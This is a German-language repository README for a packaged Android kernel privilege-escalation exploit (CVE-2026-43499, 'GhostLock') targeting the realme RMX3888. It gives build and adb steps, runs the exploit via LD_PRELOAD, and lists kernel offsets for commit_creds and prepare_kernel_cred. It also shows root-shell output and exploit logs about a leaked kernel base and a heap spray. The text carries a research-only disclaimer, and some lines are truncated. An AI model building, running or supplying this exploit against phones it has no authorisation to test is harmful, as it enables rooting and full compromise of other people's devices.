
CVE-2026-43499 Exploit-Konfiguration für realme RMX3888 (Android 16) - 20 verifizierte Kernel-Offsets
Dieses Repository enthält die vollständigen Konfigurationsdateien für den CVE-2026-43499-Exploit (GhostLock), der auf das Gerät realme RMX3888 abzielt. Alle Kernel-Offsets wurden aus der boot.img des Geräts extrahiert und verifiziert.
✓ 20 verifizierte Kernel-Offsets aus vmlinux extrahiert
✓ Echtzeit-Protokollierung mit O_SYNC + fsync für Kernel-Panic-Sicherheit
✓ Gerätespezifische Konfiguration für RMX3888
✓ Ein-Klick-Kompilierungsskript mit NDK-Autoerkennung
✓ Umfassende Dokumentation mit Build-Anleitungen
ealtime_log.h - Implementierung der Echtzeit-Protokollierung
ound2_report.md - Konfigurationsbericht (Runde 2)
git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
Unter Windows Git Bash erkennt das Skript automatisch den Standard-SDK-Pfad, der von Android Studio und den Kommandozeilen-Tools verwendet wird: /c/Android/Sdk/ndk/*.
Hinweis: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL und COPY_SPLICE_READ verwenden derzeit build-kompatible Fallbacks im RMX3888-Ziel-Header. Ersetzen Sie diese durch verifizierte RMX3888-vmlinux-Offsets, bevor Sie sich auf das Laufzeitverhalten verlassen.
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/
# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so
# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# Check logs
adb shell cat /sdcard/Download/log_*.txt
Die folgenden Haupt-Offsets wurden aus Kernel 6.1.141 extrahiert. Siehe den Hinweis oben für build-kompatible Fallback-Einträge, die noch eine RMX3888-spezifische Verifizierung benötigen.
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define INIT_TASK_OFF 0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF 0x0126bbe0ULL
#define COMMIT_CREDS 0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED 0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
Das integrierte Echtzeit-Logging-Modul bietet:
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `
Siehe BUILD_GUIDE.md für detaillierte Anweisungen zur Fehlerbehebung, einschließlich:
⚠️ WARNUNG: Diese Konfiguration ist ausschließlich für autorisierte Sicherheitsforschung bestimmt.
Diese Konfiguration wird ausschließlich für Bildungs- und Sicherheitsforschungszwecke bereitgestellt.
Dieses Repository enthält Materialien zur Sicherheitsforschung. Die Autoren und Mitwirkenden sind nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch diesen Code verursacht wird. Die Verwendung erfolgt auf eigenes Risiko und nur auf Geräten, die Ihnen gehören oder für die Sie eine ausdrückliche Testautorisierung besitzen.
Generiert: 2026-07-23
Kernel-Version: 6.1.141-android14-11-o-gffc54a6d2287
Offset-Verifizierung: 100 % (20/20)
Status: Bereit zur Kompilierung